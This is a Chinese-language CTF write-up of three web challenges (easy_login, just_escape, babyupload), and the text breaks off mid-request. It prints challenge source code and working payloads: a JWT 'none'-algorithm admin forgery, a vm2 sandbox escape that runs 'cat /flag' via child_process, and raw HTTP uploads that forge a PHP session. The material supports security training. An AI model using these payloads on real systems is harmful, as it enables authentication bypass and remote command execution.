WEB
easy_login
在static/js/app.js中发现
于是直接访问app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| const Koa = require('koa'); const bodyParser = require('koa-bodyparser'); const session = require('koa-session'); const static = require('koa-static'); const views = require('koa-views');
const crypto = require('crypto'); const { resolve } = require('path');
const rest = require('./rest'); const controller = require('./controller');
const PORT = 80; const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')]; global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), { extension: 'pug' }));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
app.use(bodyParser());
app.use(rest.restify());
app.use(controller());
app.listen(PORT); console.log(`app started at port ${PORT}...`);
|
然后rest.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| module.exports = { APIError: function (code, message) { this.code = code || 'internal:unknown_error'; this.message = message || ''; }, restify: () => { const pathPrefix = '/api/'; return async (ctx, next) => { if (ctx.request.path.startsWith(pathPrefix)) { ctx.rest = data => { ctx.response.type = 'application/json'; ctx.response.body = data; }; try { await next(); } catch (e) { ctx.response.status = 400; ctx.response.type = 'application/json'; ctx.response.body = { code: e.code || 'internal_error', message: e.message || '' }; } } else { await next(); } }; } };
|
controller.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| const fs = require('fs');
function addMapping(router, mapping) { for (const url in mapping) { if (url.startsWith('GET ')) { const path = url.substring(4); router.get(path, mapping[url]); } else if (url.startsWith('POST ')) { const path = url.substring(5); router.post(path, mapping[url]); } else { console.log(`invalid URL: ${url}`); } } }
function addControllers(router, dir) { fs.readdirSync(__dirname + '/' + dir).filter(f => { return f.endsWith('.js'); }).forEach(f => { const mapping = require(__dirname + '/' + dir + '/' + f); addMapping(router, mapping); }); }
module.exports = (dir) => { const controllers_dir = dir || 'controllers'; const router = require('koa-router')(); addControllers(router, controllers_dir); return router.routes(); };
|
fuzz controllers目录得到
api.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body;
if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); }
if(global.secrets.length > 100000) { global.secrets = []; }
const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({ token: token });
await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body;
if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) { ctx.session.username = username; }
ctx.rest({ status });
await next(); },
'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); }
const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag });
await next(); },
'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
|
view.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| module.exports = { 'GET /': async (ctx, next) => { ctx.status = 302; ctx.redirect('/home'); }, 'GET /login': async (ctx, next) => { if(ctx.session.username) { ctx.status = 302; await ctx.redirect('/home'); } else { await ctx.render('login'); await next(); } }, 'GET /register': async (ctx, next) => { if(ctx.session.username) { ctx.status = 302; await ctx.redirect('/home'); } else { await ctx.render('register'); await next(); } }, 'GET /home': async (ctx, next) => { if(!ctx.session.username) { ctx.status = 302; await ctx.redirect('/login'); } else { await ctx.render('home', { username: ctx.session.username, }); await next(); } } };
|
阅读代码发现:
1 2 3 4 5 6 7
| const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid];
|
我们可以控制sid来选择任意的密钥
node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密
我们令sid=false
,则可以通过
1 2 3
| if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }
|
的验证,且global.secrets[sid]=undefined
最后的payload
1 2 3 4 5 6 7 8 9
| import jwt import json a=json.loads('''{ "secretid": false, "username":"admin", "password": "admin", "iat": 1587310401 }''') print(jwt.encode(a, key="", algorithm='none'))
|
just_escape
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 数学运算 code: (2+6-7)/3
run online: /run.php?code=(2%2b6-7)/3;
Ouput: 0.3333333333333333
注意编码 =.=
时间戳 code: new Date();
run online: /run.php?code=new%20Date();
Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)
真的是 PHP 嘛
|
刚开始还真的以为是php,再输入console的时候返回 [object Object]
,这题应该是nodejs
在网上找到类似的题目
在vm2的issue中找到 https://github.com/patriksimek/vm2/issues/225
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| const axios = require('axios') const untrusted = '(' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } }+')()'; const content = Buffer.from(untrusted).toString('hex') axios.get( 'view-source:c3fa4d495d384a6498ef0a99a4f83c59cc9d658bef174be6.changame.ichunqiu.com/run.php?code=var+a%3d`eva`;this[`${a}l`](new+Buffer(`' + content + '`,`hex`).toString());' ).then(p => { console.log(p.data) }).catch(p => { console.log((p.response.data)) })
|
babyupload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>
|
因为上传目录和sess文件所在目录相同,可以伪造sess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST / HTTP/1.1 Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com Content-Length: 395 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=7d93710a783397f3be0ba7165a60faed; Connection: close
------WebKitFormBoundaryx5uJpSmC7ijBPrtm Content-Disposition: form-data; name="direction"
upload ------WebKitFormBoundaryx5uJpSmC7ijBPrtm Content-Disposition: form-data; name="attr"
------WebKitFormBoundaryx5uJpSmC7ijBPrtm Content-Disposition: form-data; name="up_file"; filename="sess" Content-Type: text/plain
\x08usernames:5:"admin"; ------WebKitFormBoundaryx5uJpSmC7ijBPrtm--
|
成功伪造admin身份
接下来就是要弄个success.txt了,虽然我们文件名会被加个后缀
但是我们可以通过创建success.txt
文件夹来达到相同效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST / HTTP/1.1 Host: 1b4b996742cb4d2b92d4ee548dc2c06d4ce0b9aa209948d1.changame.ichunqiu.com Content-Length: 406 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx5uJpSmC7ijBPrtm User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*
|